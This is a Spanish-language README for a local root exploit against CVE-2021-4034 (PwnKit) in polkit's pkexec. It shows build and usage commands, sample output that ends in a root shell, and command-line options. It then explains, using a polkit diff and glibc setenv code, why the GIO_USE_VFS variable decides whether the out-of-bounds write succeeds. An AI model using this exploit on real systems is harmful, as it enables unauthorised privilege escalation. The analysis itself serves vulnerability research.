
Exploit de raíz para CVE-2021-4034 (PwnKit) que abusa de la escritura fuera de límites de pkexec para escalar privilegios a root en sistemas Linux.
Exploit root para la vulnerabilidad PwnKit. Consulta el informe original aquí.
Utiliza este exploit solo con el permiso expreso de los propietarios del sistema objetivo.
No se necesitan dependencias además de libc. Solo ejecuta make.
Ejecutar sin opciones ejecutará el exploit:
[linux@linux ~]$ ./exploit
-----------------------------------------------------------------------------
__\ / __ __ _ __ _ __ | \ / _ ___
/ V |_ --- _)/ \ _)/| ---|_|/ \__)|_| | V |_) _/|_|
\__ |__ /__\_//__ | |\_/__) | | | \/__| |
-----------------------------------------------------------------------------
sh-5.1# whoami
root
sh-5.1#
Puedes personalizar la ruta a pkexec así como el juego de caracteres "from":
[linux@linux ~]$ ./exploit -h
...
./exploit [-c] [-h] [-f from_charset] [-p /path/to/pkexec]
-----------------------------------------------------------------------------
-c Solo teardown - no explotar
-p <path> Ruta a pkexec (por defecto: "/usr/bin/pkexec")
-f <from_charset> Juego de caracteres "from" personalizado (por defecto: "UTF-8")
-h Mostrar este mensaje
GIO_USE_VFS?!Vi a algunas personas en redes sociales preguntar por qué algunos exploits fallan si
GIO_USE_VFS= no está definido. ¿Por qué funcionan con las versiones anteriores?
El commit daf3d5c2d15466a267221fcb099c59c870098e03 en polkit es el culpable.
Aquí está la parte relevante del diff:
--- a/src/programs/pkexec.c
+++ b/src/programs/pkexec.c
@@ -503,6 +503,9 @@ main (int argc, char *argv[])
opt_user = NULL;
local_agent_handle = NULL;
+ /* Disable remote file access from GIO. */
+ setenv ("GIO_USE_VFS", "local", 1);
+
/* check for correct invocation */
if (geteuid () != 0)
{
Las versiones anteriores a este commit son explotables sin necesidad de definir la
variable GIO_USE_VFS. Las versiones posteriores no son explotables a menos que esta variable esté definida.
El propósito del commit es en realidad una pista falsa. No es lo que la variable
significa, sino cómo su presencia afecta el entorno del programa. Para la verdad debemos mirar en libc.
El entorno de un proceso en libc está representado por un array de char *,
apuntado por esta variable global:
char **environ;
environ vive en el heap y ocasionalmente se reubica. Puede que
ya sepas a dónde va esto. Echa un vistazo a este fragmento de código de
setenv.c:
#if !_LIBC
# define __environ environ
# ifndef HAVE_ENVIRON_DECL
extern char **environ;
# endif
#endif
int
__add_to_environ (const char *name, const char *value, const char *combined,
int replace)
{
char **ep;
// ... skipping
ep = __environ;
size = 0;
if (ep != NULL)
{
for (; *ep != NULL; ++ep)
if (!strncmp (*ep, name, namelen) && (*ep)[namelen] == '=')
break;
else
++size;
}
if (ep == NULL || __builtin_expect (*ep == NULL, 1))
{
char **new_environ;
/* We allocated this space; we can extend it. */
new_environ = (char **) realloc (last_environ,
(size + 2) * sizeof (char *));
// ... skipping
last_environ = __environ = new_environ;
}
__add_to_environ() es llamado tanto por setenv(3) como por putenv(3) para lograr
lo que prometen: establecer una variable de entorno. Si la variable de entorno en
cuestión no está definida, environ tiene que ser reasignado para acomodar
una nueva entrada (un puntero al nuevo par key=value del entorno). Si está
definida, el tamaño del array environ no ha cambiado y por lo tanto no hay
razón para la reasignación. Por brevedad he omitido esa parte del código: te
animo a que la consultes.
Ahora volvamos al exploit. Si has llegado hasta aquí, probablemente
ya conoces la metodología detrás de este exploit (si no, consulta el
informe original).
Estamos intentando colar una variable de entorno pasando argumentos de programa
vacíos (argv) a pkexec. Cuando argc está realmente vacío (ni siquiera un
nombre de programa), las variables de entorno, que son adyacentes, chocan con los argumentos.
Abusamos de este comportamiento para forzar a pkexec a escribir una ruta canónica de un
ejecutable objetivo en el entorno. Sin embargo, antes de llegar a esta parte del
código ocurre esto:
setenv ("GIO_USE_VFS", "local", 1);
Si esta variable no está presente en el entorno, environ será
reasignado, por lo que nunca chocará con argv. Como resultado, la escritura
fuera de límites no afectará al entorno del programa, haciendo que el
exploit falle.